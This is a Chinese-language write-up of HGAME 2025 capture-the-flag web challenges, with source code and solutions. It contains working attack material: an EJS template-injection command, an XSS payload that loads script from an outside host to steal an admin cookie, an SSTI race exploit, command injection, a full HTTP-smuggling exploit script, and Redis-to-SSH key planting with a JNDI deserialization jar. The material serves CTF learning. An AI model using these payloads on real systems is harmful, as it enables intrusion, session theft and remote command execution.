HGAME2025新生赛-web
week1
Level 24 Pacman
查看前端源码

base64加栅栏
Level 47 BandBomb
给了源码
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');
const app = express();
app.set('view engine', 'ejs');
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());
const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads';
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
cb(null, uploadDir);
},
filename: (req, file, cb) => {
cb(null, file.originalname);
}
});
const upload = multer({
storage: storage,
fileFilter: (_, file, cb) => {
try {
if (!file.originalname) {
return cb(new Error('无效的文件名'), false);
}
cb(null, true);
} catch (err) {
cb(new Error('文件处理错误'), false);
}
}
});
app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads');
if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}
fs.readdir(uploadsDir, (err, files) => {
if (err) {
return res.status(500).render('mortis', { files: [] });
}
res.render('mortis', { files: files });
});
});
app.post('/upload', (req, res) => {
upload.single('file')(req, res, (err) => {
if (err) {
return res.status(400).json({ error: err.message });
}
if (!req.file) {
return res.status(400).json({ error: '没有选择文件' });
}
res.json({
message: '文件上传成功',
filename: req.file.filename
});
});
});
app.post('/rename', (req, res) => {
const { oldName, newName } = req.body;
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);
if (!oldName || !newName) {
return res.status(400).json({ error: ' ' });
}
fs.rename(oldPath, newPath, (err) => {
if (err) {
return res.status(500).json({ error: ' ' + err.message });
}
res.json({ message: ' ' });
});
});
app.listen(port, () => {
console.log(`服务器运行在 http://localhost:${port}`);
});
前置知识:在基于 Express.js 的 Web 应用程序中,views 目录是一个约定俗成的目录名称,用于存放 模板文件。这些模板文件通常用于渲染动态 HTML 页面。在 Express.js 应用程序中,views 目录通常位于项目的根目录下。
/rename路由没有对文件名做任何限制。说明可以利用文件名来修改文件路径。
app.set(‘view engine’, ‘ejs’);使用ejs模板引擎。那么我们写ejs文件来进行渲染
<!DOCTYPE html>
<html>
<body>
<h1><%= process.mainModule.require("child_process").execSync("env") %></h1>
</body>
</html>

重新访问根路由即可渲染成功。源码中res.render(‘mortis’, { files: files });表示根路由渲染mortis.ejs文件。所以我们重命名文件覆盖mortis.ejs。
Level 69 MysteryMessageBoard
这题感觉比上题简单些。看源码知道有/flag,/admin,/login,/logout路由

burp爆破shallot/888888登录进去,是个留言板。
写下留言,我们要利用xss窃取admin的cookie,
<sCRiPt sRC=//xs.pe/avB></sCrIpT>
访问/admin路由,会自动访问我们的留言


拿到管理员的cookies然后访问/flag即可
Level 38475 角落(复现)
robots协议

访问/app.conf
有个重写规则RewriteRule造成源码泄露
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
Options Indexes
AllowOverride None
Require all granted
</Directory>
<Files "/usr/local/apache2/app/app.py">
Order Allow,Deny
Deny from all
</Files>
RewriteEngine On //重写规则开启
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/" //user_agent是L1nk/开头就会触发重写规则
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"
//如果请求路径以 /admin/ 开头,那么会将请求重定向到对应的 HTML 文件,并附加 ?secret=todo 查询参数。
//例如访问/admin/xxx时候,Apache 会尝试在文件系统中查找 /xxx.html 文件。
ProxyPass "/app/" "http://127.0.0.1:5000/"
搜一下是CVE-2024-38475
只需要在最后加一个%3f即可,这会把app.py后面的东西变成查询语句

拿到源码
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates
app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg
def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'
@app.route('/index', methods=['GET'])
def index():
status = request.args.get('status')
if status is None:
status = ''
return render_template("index.html", status=status)
@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message']
f = open(filename, 'w')
f.write(message)
f.close()
return redirect('index?status=Send successfully!!')
@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("{{message}}", readmsg())
return render_template_string(show)
return 'waf!!'
if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 5000)
源码逻辑很简单。就三个功能
用户可以访问 /index 查看主页。
用户可以通过 /send 提交消息,消息会保存到 tmp/message.txt 文件中。
用户可以通过 /read 读取消息,消息会被渲染到模板中。
看到了render_template函数就一定会想到ssti
ssti加条件竞争
import requests
import threading
def send_payload():
payload = "{{[].__class__.__bases__[0].__subclasses__()[204].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}"
requests.post("http://node1.hgame.vidar.club:31237/app/send", data={"message":payload})
def read_message():
a=requests.get("http://node1.hgame.vidar.club:31237/app/read")
print(a.text)
threads = []
for i in range(20):
t1 = threading.Thread(target=send_payload)
t2 = threading.Thread(target=read_message)
threads.append(t1)
threads.append(t2)
t1.start()
t2.start()
week2(复现)
Level 21096 HoneyPot
给了源码,定位关键位置
func ImportData(c *gin.Context) {
var config ImportConfig
if err := c.ShouldBindJSON(&config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid request body: " + err.Error(),
})
return
}
if err := validateImportConfig(config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid input: " + err.Error(),
})
return
}
config.RemoteHost = sanitizeInput(config.RemoteHost)
config.RemoteUsername = sanitizeInput(config.RemoteUsername)
config.RemoteDatabase = sanitizeInput(config.RemoteDatabase)
config.LocalDatabase = sanitizeInput(config.LocalDatabase)
if manager.db == nil {
dsn := buildDSN(localConfig)
db, err := sql.Open("mysql", dsn)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to connect to local database: " + err.Error(),
})
return
}
if err := db.Ping(); err != nil {
db.Close()
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to ping local database: " + err.Error(),
})
return
}
manager.db = db
}
if err := createdb(config.LocalDatabase); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to create local database: " + err.Error(),
})
return
}
//Never able to inject shell commands,Hackers can't use this,HaHa
command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s",
config.RemoteHost,
config.RemoteUsername,
config.RemotePassword,
config.RemoteDatabase,
localConfig.Username,
localConfig.Password,
config.LocalDatabase,
)
fmt.Println(command)
cmd := exec.Command("sh", "-c", command)
//cmd := exec.Command("cmd", "/C", command)
if err := cmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to import data: " + err.Error(),
})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Data imported successfully",
})
}
func sanitizeInput(input string) string {
reg := regexp.MustCompile(`[;&|><(){}[]\]`)
return reg.ReplaceAllString(input, "")
}
func validateImportConfig(config ImportConfig) error {
if config.RemoteHost == "" ||
config.RemoteUsername == "" ||
config.RemoteDatabase == "" ||
config.LocalDatabase == "" {
return fmt.Errorf("missing required fields")
}
if match, _ := regexp.MatchString(`^[a-zA-Z0-9.-]+$`, config.RemoteHost); !match {
return fmt.Errorf("invalid remote host")
}
if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.RemoteUsername); !match {
return fmt.Errorf("invalid remote username")
}
if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.RemoteDatabase); !match {
return fmt.Errorf("invalid remote database name")
}
if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.LocalDatabase); !match {
return fmt.Errorf("invalid local database name")
}
return nil
}
这里直接将7个参数拼接到sql语句中并且RemotePassword没有过滤,造成了命令注入漏洞。
根据题目提示容器内置有/writeflag命令,会把预设的flag写入到/flag位置进行读取。
我们直接命令拼接执行/writeflag命令

Level 111 不存在的车厢
给了源码
package main
import (
h111 "level111111/protocol"
"log"
"net"
"net/http"
"net/http/httptest"
"os"
)
var mux = http.NewServeMux()
func main() {
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte("Welcome to HGAME 2025"))
})
mux.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
w.WriteHeader(http.StatusForbidden)
return
}
flag := os.Getenv("FLAG")
w.Write([]byte(flag))
})
listener, err := net.Listen("tcp", "127.0.0.1:8080")
if err != nil {
log.Fatalln(err)
}
for {
conn, err := listener.Accept()
if err != nil {
log.Println(err)
continue
}
go serverH111(conn)
}
}
func serverH111(conn net.Conn) {
defer conn.Close()
for {
req, err := h111.ReadH111Request(conn)
if err != nil {
log.Println(err)
return
}
recorder := httptest.NewRecorder()
mux.ServeHTTP(recorder, req)
resp := recorder.Result()
log.Printf("Received request %s %s, response status code %d", req.Method, req.URL.Path, resp.StatusCode)
err = h111.WriteH111Response(conn, resp)
if err != nil {
log.Println(err)
return
}
}
}
可以看出/路由返回welcome。/flag路由(post方法)返回FLAG环境变量。
但是这里的后端定义了一个H111协议接收前端proxy的请求。再看一下proxy的代码
package main
import (
"fmt"
"io"
h111 "level111111/protocol"
"net"
"net/http"
"sync"
"time"
)
var pool sync.Pool
type proxyHandler struct {
}
func (h *proxyHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
fmt.Println("Received request", r.Method, r.URL.Path)
if r.Method != "GET" {
w.WriteHeader(http.StatusMethodNotAllowed)
return
}
conn := pool.Get().(net.Conn)
err := h111.WriteH111Request(conn, r)
if err != nil {
fmt.Println("error writing request")
w.WriteHeader(http.StatusInternalServerError)
conn.Close()
return
}
resp, err := h111.ReadH111Response(conn)
if err != nil {
fmt.Println("error reading response")
w.WriteHeader(http.StatusInternalServerError)
conn.Close()
return
}
w.WriteHeader(resp.StatusCode)
for key, values := range resp.Header {
for _, value := range values {
w.Header().Add(key, value)
}
}
bodyBytes, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("error reading response body")
w.WriteHeader(http.StatusInternalServerError)
conn.Close()
return
}
w.Write(bodyBytes)
pool.Put(conn)
}
func main() {
pool = sync.Pool{
New: func() interface{} {
for {
conn, err := net.Dial("tcp", "127.0.0.1:8080")
if err != nil {
fmt.Println("error dialing to backend server")
time.Sleep(time.Millisecond * 300)
continue
}
return conn
}
},
}
http.ListenAndServe(":8081", &proxyHandler{})
}
该proxy通过自定义的 H111 协议将请求转发给后端,但它的 HTTP 接口只接受 GET 请求
那么目的是要输出FLAG环境变量,但是需要post方法请求。但是前端只接受GET请求。
注意这段代码
if req.Body != nil {
body, err := io.ReadAll(req.Body)
if err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if err := binary.Write(writer, binary.BigEndian, uint16(len(body))); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
if _, err := writer.Write(body); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
} else {
if err := binary.Write(writer, binary.BigEndian, uint16(0)); err != nil {
return errors.Join(ErrWriteH111Request, err)
}
}
并没有对请求body的长度做限制。那么可以利用http请求走私
构造一个超长 GET 请求,总长度 B 超过 65535 字节,利用长度字段溢出制造出数据残留,将走私数据拼接在超长 GET 请求的尾部,这样当后端收到这条超长的 H111 请求时,它会按照协议:
先解析 GET 请求,读取 2 字节的长度字段,然后消费掉 L 个字节作为 GET 请求的 body。剩下的 B – L 字节正好构成一个完整的二进制编码的请求。当后端循环继续调用 h111.ReadH111Request 时,会把残留的数据解析为新的请求,也就是构造的伪造的 POST /flag 请求。后端检查到该请求后就会返回FLAG环境变量。
exp:
#!/usr/bin/env python3
import socket
import struct
def build_smuggled_request():
method = b"POST"
uri = b"/flag"
header_count = 0
fixed_part = (
struct.pack(">H", len(method)) + method +
struct.pack(">H", len(uri)) + uri +
struct.pack(">H", header_count)
)
# body_size 为 65536 - 固定部分(17 字节) - 2 字节 body 长度字段
body_size = 65536 - (len(fixed_part) + 2)
# 构造 body,此处填充 A 字符
body = b"A" * body_size
# 构造 body 部分:先写 2 字节的 body 长度(body_size,uint16),再写 body 内容
body_part = struct.pack(">H", body_size) + body
smuggled = fixed_part + body_part
assert len(smuggled) == 65536, f"smuggled length = {len(smuggled)} != 65536"
return smuggled
def build_payload(padding_size, smuggled):
padding = b"B" * padding_size # P 字节填充(例如 100 字节)
full_body = padding + smuggled
return full_body
def build_http_request(full_body):
request_line = b"GET /flag HTTP/1.1rn"
headers = (
b"Host: 127.0.0.1:8081rn" +
b"Content-Length: " + str(len(full_body)).encode() + b"rn" +
b"rn"
)
http_request = request_line + headers + full_body
return http_request
def send_payload(host, port, payload):
with socket.create_connection((host, port)) as s:
print(f"[+] 连接到 {host}:{port}")
s.sendall(payload)
print("[+] Payload 已发送,等待响应...")
response = b""
s.settimeout(2)
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
pass
print("[+] 收到响应:")
try:
print(response.decode())
except UnicodeDecodeError:
print(response)
def main():
# 选择填充长度 P
padding_size = 100
smuggled = build_smuggled_request()
print(f"[+] 构造的 smuggled 请求长度: {len(smuggled)} bytes")
full_body = build_payload(padding_size, smuggled)
print(f"[+] 最终 HTTP 请求体总长度: {len(full_body)} bytes")
http_request = build_http_request(full_body)
print(f"[+] 构造的 HTTP 请求总长度: {len(http_request)} bytes")
send_payload("node1.hgame.vidar.club", 30186, http_request)
if __name__ == "__main__":
main()
多跑几次就出了
Level 257 日落的紫罗兰
给了两个tcp容器,一个是ssh,一个是redis

这题flag在根目录,但是我们没有读取权限。
这题思路是利用Redis未授权访问漏洞,将SSH公钥写入目标服务器的 authorized_keys 文件,从而获得SSH访问权限。通过SSH上传恶意JAR文件,并利用Java应用程序的反序列化漏洞执行任意命令,最终提权拿到flag
本地执行以下命令
//生成rsa公私钥
ssh-keygen -t rsa
//将公钥以对应格式写入文件
(echo -e “nn”; cat ./id_rsa.pub; echo -e “nn”) > spaced_key.txt
服务器执行如下
//将公钥写入redis服务器
cat spaced_key.txt |redis-cli -h node1.hgame.vidar.club -p 32696 -x set ssh_key
//登录redis服务
redis-cli -h node1.hgame.vidar.club -p 32696
//设置Redis的持久化目录为 /home/mysid/.ssh,这是目标用户的SSH目录。
config set dir /home/mysid/.ssh
//设置Redis的持久化文件名为 authorized_keys,这是SSH公钥认证文件。
config set dbfilename "authorized_keys"
//将Redis中的数据保存到磁盘,即将公钥写入 /home/mysid/.ssh/authorized_keys 文件中。
save
//退出Redis客户端
exit
//使用生成的私钥 id_rsa 通过SSH登录到目标服务器,用户名为 mysid
ssh -i id_rsa mysid@node1.hgame.vidar.club -p 31906
//使用SCP命令将本地的恶意JAR文件 JNDIMap-0.0.1.jar 上传到目标服务器的 /tmp 目录。
scp -i ./id_rsa -P 31906 ./JNDIMap-0.0.1.jar mysid@node1.hgame.vidar.club:/tmp
//运行恶意jar文件
/usr/local/openjdk-8/bin/java -jar JNDIMap-0.0.1.jar -i 127.0.0.1 -l 389 -u "/Deserialize/Jackson/Command/Y2htb2QgNzc3IC9mbGFn"
//通过HTTP POST请求触发本地Java应用程序的LDAP查询,利用反序列化漏洞执行恶意代码
//注意这里要另开一个终端
curl -X POST -d "baseDN=a/b&filter=a" http://127.0.0.1:8080/search



Level 60 SignInJava
拿到jar包反编译。看一下关键源码
package icu.Liki4.signin.controller;
import cn.hutool.core.util.StrUtil;
import com.alibaba.fastjson2.JSON;
import icu.Liki4.signin.base.BaseResponse;
import icu.Liki4.signin.util.InvokeUtils;
import jakarta.servlet.http.HttpServletRequest;
import java.util.Map;
import java.util.Objects;
import org.apache.commons.io.IOUtils;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
@RequestMapping({"/api"})
public class APIGatewayController {
@RequestMapping(
value = {"/gateway"},
method = {RequestMethod.POST}
)
@ResponseBody
public BaseResponse doPost(HttpServletRequest request) throws Exception {
try {
String body = IOUtils.toString(request.getReader());
Map<String, Object> map = (Map)JSON.parseObject(body, Map.class);
String beanName = (String)map.get("beanName");
String methodName = (String)map.get("methodName");
Map<String, Object> params = (Map)map.get("params");
if (StrUtil.containsAnyIgnoreCase(beanName, new CharSequence[]{"flag"})) {
return new BaseResponse(403, "flagTestService offline", (Object)null);
} else {
Object result = InvokeUtils.invokeBeanMethod(beanName, methodName, params);
return new BaseResponse(200, (String)null, result);
}
} catch (Exception var8) {
Exception e = var8;
return new BaseResponse(500, ((Throwable)Objects.requireNonNullElse(e.getCause(), e)).getMessage(), (Object)null);
}
}
}
有一个/api/gateway接口。post方法以json格式获取 beanName、methodName 和 params 参数。
但是对beanname有过滤,不能出现flag。所以FlagTestService类及其catFlag方法不能使用。
这里可以利用cn.hutool包。
该包中SpringUtil.java类中有个registerBean方法可以利用

那么思路就来了,我们先使用这个代码注册一个恶意bean,然后在调用这个恶意bean的方法来拿flag。
{
"beanName": "cn.hutool.extra.spring.SpringUtil",
"methodName": "registerBean",
"params": {"arg0":"evilCmd","arg1":{"@type":"cn.hutool.core.util.RuntimeUtil"}}
}
注册之后再利用这个恶意的evilcmd类来读取flag。因为RuntimeUtil类中的execForStr可以执行命令

直接触发
{
"beanName": "evilCmd",
"methodName": "execForStr",
"params": {"arg0":"utf-8","arg1":["/readflag"]}
}






